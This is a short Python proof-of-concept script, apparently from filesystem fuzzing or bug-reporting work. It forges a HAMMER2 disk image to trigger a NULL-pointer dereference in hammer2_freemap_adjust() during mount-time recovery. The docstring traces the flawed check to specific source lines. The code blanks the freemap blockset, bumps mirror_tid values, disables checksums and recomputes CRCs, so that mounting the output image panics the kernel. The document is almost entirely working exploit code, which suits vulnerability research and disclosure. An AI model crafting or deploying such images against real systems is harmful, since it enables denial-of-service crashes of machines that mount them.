#!/usr/bin/env python3
"""
DF-2651 forger: NULL-pointer dereference in hammer2_freemap_adjust().

forge:
  * blank all 8 freemap_blockset[] entries in the volume header so the
    in-memory freemap tree (hmp->fchain, whose embedded data IS
    voldata.freemap_blockset) has no FREEMAP_LEAF covering any 1GB region
    -> hammer2_chain_lookup() in hammer2_freemap_adjust() returns NULL;
  * bump the testvol PFS-clause bref's mirror_tid (0x11 -> 0x20) so the
    mount-time recovery scan (hammer2_recovery_scan, vfsops.c:2234)
    unconditionally calls
        hammer2_freemap_adjust(hmp, &parent->bref, DORECOVER)
    for it;
  * CHECK_NONE on the touched ancestor brefs + recompute volhdr CRCs.

mount  -> recovery -> adjust(): lookup returns chain == NULL, but the NULL
check at freemap.c:1016 is `chain == NULL && how != DORECOVER` (always false,
KKASSERT(how == DORECOVER) at :972), so execution falls through to
`if (chain->error)` at freemap.c:1021 -> read at NULL+offsetof(error) ->
fatal page fault / panic.  INVARIANTS-independent.
"""
import struct, sys, os
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from h2common import *

def main():
    base, out = sys.argv[1], sys.argv[2]
    img = bytearray(open(base, 'rb').read())
    vols, sbr = find_sroot(img)
    pbr = find_pfs_bref(img, sbr, b'testvol')

    # the volhdr sroot_blockset bref gates recovery recursion into the sroot
    struct.pack_into('<Q', img, sbr['off'] + 0x10, 0x20)
    print("[+] volhdr sroot bref @%#x: mirror_tid -> 0x20" % sbr['off'])

    # (1) bump testvol bref mirror_tid above freemap_tid (0x11) + CHECK_NONE
    struct.pack_into('<Q', img, pbr['off'] + 0x10, 0x20)   # mirror_tid
    struct.pack_into('<B', img, pbr['off'] + 0x01, 0x00)   # methods=CHECK_NONE
    print("[+] testvol bref @%#x: mirror_tid 0x11 -> 0x20, CHECK_NONE" % pbr['off'])

    for v in vols:
        # (2) sroot bref CHECK_NONE (sroot block content is not touched, but
        #     keep the ancestry permissive like DF-2650 did)
        struct.pack_into('<B', img, v + 0x201, 0x00)
        # (3) blank the whole freemap_blockset (8 x 128B at 0x800)
        for i in range(8):
            off = v + 0x800 + i * BREF
            if struct.unpack_from('<Q', img, off + 8)[0] or img[off]:
                t = img[off]
                img[off:off + BREF] = bytes(BREF)
                print("[+] volhdr %#x: freemap_blockset[%d] (type %d) blanked" % (v, i, t))
    recompute_volhdr_crcs(img)
    open(out, 'wb').write(img)
    print("[+] wrote %s" % out)

if __name__ == '__main__':
    main()
